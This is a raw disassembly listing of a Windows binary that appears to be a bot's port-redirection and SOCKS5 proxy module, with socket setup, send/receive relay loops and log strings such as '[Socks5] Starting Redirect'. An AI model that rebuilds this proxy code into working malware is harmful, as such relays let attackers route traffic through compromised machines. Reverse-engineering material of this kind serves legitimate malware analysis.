		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B540	proc near		; CODE XREF: sub_40152Dj

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42B70A
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42B598
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B598:				; CODE XREF: sub_42B540+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42B5F2
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B5F2:				; CODE XREF: sub_42B540+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, edi
		jnz	short loc_42B622
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B622:				; CODE XREF: sub_42B540+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_50FC50
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B70A
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B676:				; CODE XREF: sub_42B540+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6A0
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6A0:				; CODE XREF: sub_42B540+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6DB
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6DB:				; CODE XREF: sub_42B540+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B676
		jmp	short loc_42B70A
; ---------------------------------------------------------------------------


loc_42B702:				; CODE XREF: sub_42B540+15Ej
					; sub_42B540+199j
		push	0Ah
		nop
		call	near ptr 29B0000h


loc_42B70A:				; CODE XREF: sub_42B540+27j
					; sub_42B540+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_50FC88
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B71E
		push	eax
		call	edi	; closesocket


loc_42B71E:				; CODE XREF: sub_42B540+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42B72C
		push	esi
		call	edi	; closesocket


loc_42B72C:				; CODE XREF: sub_42B540+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42B540	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  48h	; H
		db 0BCh	; ¼
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ¡
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ‰
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ‹
		db 0F1h	; ñ
		db  89h	; ‰
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; è
		db 0A0h	;  
		db  67h	; g
		db 0FDh	; ý
		db 0FFh
		db  68h	; h
		db  70h	; p
		db  3Dh	; =
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; Ç
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; Ç
		db    6
		db 0C0h	; À
		db 0E1h	; á
		db  43h	; C
		db    0
		db 0E8h	; è
		db 0DAh	; Ú
		db  5Dh	; ]
		db 0FDh	; ý
		db 0FFh
		db  8Bh	; ‹
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ‹
		db 0C6h	; Æ
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ‰
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  10h
		db 0C3h	; Ã
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B830:				; CODE XREF: ___:loc_4015F0j
					; ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401B8B
		test	byte ptr [esp+8], 1
		jz	short loc_42B848
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B848:				; CODE XREF: ___:0042B83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B860	proc near		; CODE XREF: sub_401B8Bj
		jmp	sub_40179E
sub_42B860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B880	proc near		; CODE XREF: sub_4019E2j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B880
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42BAB8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42B96B
		mov	edx, [esi+9Dh]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B96B:				; CODE XREF: sub_42B880+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42BA64


loc_42B97F:				; CODE XREF: sub_42B880+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42BA45
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AC1028h
		nop
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42BA45
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42BA45
		push	0A9h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B9E5
		mov	ecx, eax
		call	sub_401663
		mov	edi, eax


loc_42B9E5:				; CODE XREF: sub_42B880+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FBE
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013D4


loc_42BA45:				; CODE XREF: sub_42B880+111j
					; sub_42B880+133j ...
		push	0FAh
		nop
		call	near ptr 29B0000h
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42B97F


loc_42BA64:				; CODE XREF: sub_42B880+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42BA76
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42BA76:				; CODE XREF: sub_42B880+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017E4
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 24h


loc_42BAB8:				; CODE XREF: sub_42B880+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B880	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42BB70	proc near		; CODE XREF: sub_4021DFj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42BB70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_42BB70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019B5
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42BE60:				; CODE XREF: ___:loc_40202Cj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BD84
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42BFC7
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 0E850FFFDh
		dd 777F000Ch, 4C48390h,	48244C8Dh, 893B4789h, 80249Ch
		dd 3E80000h, 68FFFD53h,	443600h, 4C244C8Dh, 8B51026Ah
		dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	52CCE800h, 68FFFDh, 8D004436h
		dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h
		dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD528Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 0DE80000h
		db 54h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42BFC7:				; CODE XREF: ___:0042BE9Dj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C0F7
		push	9Dh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42C00E
		mov	ecx, eax
		call	sub_401889
		mov	edi, eax
		jmp	short loc_42C010
; ---------------------------------------------------------------------------


loc_42C00E:				; CODE XREF: ___:0042C001j
		xor	edi, edi


loc_42C010:				; CODE XREF: ___:0042C00Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C0F7:				; CODE XREF: ___:0042BFDAj
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C220
		push	0A2h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42C13E
		mov	ecx, eax
		call	sub_4018DE
		mov	edi, eax
		jmp	short loc_42C140
; ---------------------------------------------------------------------------


loc_42C13E:				; CODE XREF: ___:0042C131j
		xor	edi, edi


loc_42C140:				; CODE XREF: ___:0042C13Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42C1EE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42C1F5
; ---------------------------------------------------------------------------


loc_42C1EE:				; CODE XREF: ___:0042C1E3j
		mov	byte ptr [edi+9Dh], 0


loc_42C1F5:				; CODE XREF: ___:0042C1ECj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42C220:				; CODE XREF: ___:0042C10Aj
		lea	ecx, [ebp+8Eh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C2ED
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42C26A
		mov	ecx, eax
		call	sub_40216C
		mov	edi, eax
		jmp	short loc_42C26C
; ---------------------------------------------------------------------------


loc_42C26A:				; CODE XREF: ___:0042C25Dj
		xor	edi, edi


loc_42C26C:				; CODE XREF: ___:0042C268j
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C2ED:				; CODE XREF: ___:0042C236j
		lea	ecx, [ebp+0BCh]
		call	sub_4014D3
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C519
		lea	ecx, [esp+30h]
		call	sub_401424
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014D3
		cmp	eax, offset byte_446F60
		jnz	short loc_42C3CF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3CF:				; CODE XREF: ___:0042C3BFj
		lea	ecx, [esp+18h]
		call	sub_4014D3
		cmp	eax, offset byte_446F60
		jnz	short loc_42C3ED
		push	offset byte_446F60
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3ED:				; CODE XREF: ___:0042C3DDj
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		mov	edi, dword_50FB08
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C17
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42C519:				; CODE XREF: ___:0042C30Cj
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42C536
		mov	[ebp+11Ch], al


loc_42C536:				; CODE XREF: ___:0042C52Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C710	proc near		; CODE XREF: sub_4021A8j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A7D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42C731
		inc	ecx
		mov	[eax+118h], ecx


loc_42C731:				; CODE XREF: sub_42C710+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
sub_42C710	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C790	proc near		; CODE XREF: sub_401E06j

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_436F4E
sub_42C790	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 840D8B19h, 500050FAh, 6840C183h, 445404h, 54E89051h
		dd 83778146h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42C7E0:				; CODE XREF: ___:00401D7Aj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42C7F3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42C7F3
		add	eax, 44h
